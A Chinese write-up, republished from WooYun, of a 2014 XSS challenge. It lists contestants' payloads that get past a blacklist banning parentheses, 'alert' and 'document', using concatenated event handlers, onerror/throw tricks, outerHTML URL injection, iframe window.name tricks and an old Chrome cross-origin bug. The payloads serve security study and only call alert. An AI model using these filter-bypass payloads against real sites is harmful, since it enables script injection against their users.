XSS挑戰第一期Writeup

wyzsk發表於2020-08-19
作者: mramydnei · 2014/01/25 20:44

0x00 起因


這期 XSS 挑戰的起因是在閱讀“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”過後,在其中發現了一個很有趣的話題。那就是在圓括號被過濾的情況下,如何去執行javascript。在文中筆者給出來了這樣的解決方案:

#!html
<a onmouseover="javascript:window.onerror=alert;throw 1>

這是一個透過丟擲異常的方式來執行 alert()的方案。那麼,還有沒有別的辦法可以讓我們在沒有圓括號的情況下執行Javascript呢?眾神們經常說,沒有具體環境的討論是沒有意義的。所以我就花了一點時間,編寫了一個基於黑名單的XSS防禦程式碼。也就有了我們這次的挑戰。

0x01 設定


為了增加一點挑戰的難度,根據一些較常見的XSS防禦程式碼,對本次挑戰進行了下列設定:

過濾:

(,),&,\,<,>,',%28,%29,空格+on,alert,data,src,eval,unescape
innerHTML,document,appendChild,createElement,write,String,setTimeout

當然,為了保證更多人可以參與進來,我並沒有對最前面給出的答案進行過濾。

0x02 結果


2014012516263844018.png

在挑戰開始不到三個小時的時間裡,gainover拿下了這次挑戰的First Blood。

"onblur=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9

巧妙的使用定義變數的方式,重新拆裝了URL編碼分別為:%28和%29的左右圓括號,進而繞過了我們的限制。隨後又放棄了定義變數的方式,而直接選擇了透過連線字串的方式 來縮減payload的長度。

"onblur=location="javascript:aler"+"t%2"+"81%2"+"9

緊隨其後,又有第二位挑戰成功者px1624,使用了和gainonver類似的方式,繞過了我們的過濾規則。當然,從上面的例子當中我們不難看出,此處的href是可以省略來簡短長度的。

"onblur=location.href="JAvascript:ale"+"rt%2"+"81%2"+"9

之後我們又從 gainver 收到了另一種繞過方式。

"onblur=top.onerror=top["ale"+"rt"];throw"1

看上去和我們預留的答案大相徑庭,但是也有它有趣的一部分。因為提交者在這裡並沒有使用較長的window而是使用了top,當然作為其它選項也可以使用parent或self。但是很明顯top是最短的。如果不考慮觸發難易性,也許我們可以把第一個onblur換成oncut,把第二個onerror換成onblur來進一步節約兩個位元組。(當然,我並不認為在任何情況下,短的就是好的。)在Chrome下先在input裡面按一次ctrl+x,在透過點選位址列或其它tab即可觸發。

正在思考這個top的問題時,gainover又寄來了一種更有趣的繞過方式。

"onblur=outerHTML=URL//#<img/src=1 onerror=alert(1)>

可能有些人看完之後會覺得是不是變長了呢?實際上#後面的部分是不會被算在QueryString裡面的。所以這裡的實際長度只有23。提交者巧妙的使用outerHTML的方式將整個URL都寫入到了DOM。但是在這裡不得不提的是,瀏覽器差異問題。雖然在Internet Explorer(IE8 下測試)和Chrome(最新版本)當中,這種方法都可以直接把URL寫到DOM中,但是Firefox會將URL編碼過的內容寫入到DOM中,導致無法完成HTML注入。所以在實際的操作過程中,如果條件允許的話,可能需要我們呼叫一些可以對URL進行解碼的JS函式,先對URL進行一次解碼再寫入到DOM中,進而提高payload的通用性。

隨後gainover又再一次透過空格來代替註釋符(//),為自己贏得了更短的程式碼。

"onblur=outerHTML=URL #<img/src=1 onerror=alert(1)>

來自fangfei yang的答案:

"oncut=top.onerror%3Dtop["al"+"ert"];throw"1

來自Chu的答案:

#!html
<iframe src="http://xss.z7ys.com/?xss="onblur="location=window.name&submit=搜尋" name="javascript:alert(1)"></iframe>

這位挑戰者透過window.name實現了iframe的跨域,並完成了挑戰。類似的方法還有URL.hash window.postMessage等等。在後續出來類似的答案時將不在重複寫iframe的部分。

來自 Dun 比較有趣的答案: 

"onfocus=new%A1%A1window["al"+"ert"]

在這裡出現了一個小插曲,也是我的一個失誤。因為兩臺伺服器當中一臺使用了utf-8編碼,而另外一臺又使用了GB2312編碼。這位挑戰者就在編碼為GB2312的頁面用了全形空 格(%A1%A1)。當然作為這個的替代品,還有%0B%0B。

之後Dun又使用了Chrome上一個版本的跨域漏洞,再次縮短了自己的payload長度。(因為chrome跨域漏洞的細節在很多地方都可以找到,我就不在這裡造輪子了。)下面是他的POC:

#!html
<script> var dd=false; document.domain=""; </script>
<iframe id="xss"src="//xss.z7ys.com./?xss=%22onblur%3Ddomain%3D%22%22+&submit=%CB%D1%CB%F7"onload="dd=true;"width="100%"height="100%"onmouseover="xssalert();"></iframe>
<script>
function xssalert(){
if(dd){
var xssiframe=document.getElementById("xss").contentWindow;
xssiframe.document.write("<script>alert(1)<\/script>");
}};
</script>

SqlCode的答案:

"oncut=_=window;_.onerror=_["al"+"ert"];throw[1]

Laix的答案:

"oncut=location="javascript:aler"+"t%"+"281%"+"29

Galaxy的答案:

"onblur=javascript:window.onblur=al%00ert;throw"1

該挑戰者使用繞過 IE8/IE9 filter 的一個技巧(%00),完成了挑戰。

e3rp4y的答案:

"onfocus=window.onblur=top["aler"%2b"t"];throw"1

來自0x00有趣的答案:

()&xss="onclick=a=location.search;location.href="javascript:a"+"lert"+a[1]+a[2]//

把()作為引數放在問號的後面再用 location.search 呼叫了出來。

"onclick=a=location;b=a.hash;a.href="javascript:a"+"lert"+b[1]+b[2]//

"onclick=a=location;a.href="javascript:/*"+a.hash//#*/alert()

"onclick="location.href=window.name

來自 litdg 的答案:

"/onblur=window.onerror=window["aler"+"t"];throw+1//

來自過客的答案:

"onclick="location=top.a.name

最後附上本次挑戰的第一名獲得者/fd 的一些答案:

<iframe name="javascript:alert(1)" src=//133.52.240.75/index.php?xss="autofocus/onfocus="location=self.name></iframe>

透過iframe的self.name實現了跨域。

#!html
<iframe height=500 src=//xss.z7ys.com/index.php?xss=%22ondrop%3Ddomain%3D%22com></iframe>
<script>
 document.domain = 'com';
 setInterval(function() {
  frames[0].alert && frames[0].alert(1);
 },100)
</script>

2014012516555130399.png

chrome跨域漏洞+拖拽劫持(只附上了重要部分程式碼,效果見上圖)。一個很用心的 POC。當我們試圖把硬幣投入下面的黑框時觸發。

#!html
<iframe height=500 src=//xss.z7ys.com./index.php?xss=%22oncut%3Ddomain%3D%22></iframe>
<script>
 document.domain = '';
 setInterval(function() {
  frames[0].alert && frames[0].alert(1);
 },100)
</script>

最後用舊版chrome的跨域漏洞(測試於Chromium 31.0.1650.8)以15個字元的成績終結了比賽。

0x03 寫在最後


因為個人經驗和知識儲備的不足,可能在挑戰的設定和評判標準上面沒能做的很完善。而且整個挑戰也似乎從如何繞過圓括號的限制慢慢的演變成了 The short talk of XSS。也許有人會覺得這是造輪子吧。但是我相信在參與的過程當中,大家也和我一樣或多或少都學到了一些什麼。其實,在編寫這篇文章的同時,我和我的小夥伴們(Laix,煙花兔子,Line)花費心思又搞了一個自認為比較有趣的XSS挑戰。暫時就將它稱作為XSS挑戰第二期吧。希望到時候大家也能來玩玩!最後,謝謝/fd,LinE,瞌睡龍等人的烏雲幣贊助。

提供該程式PHP原始碼供各位下載,自己搭建測試:index.php.zip

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章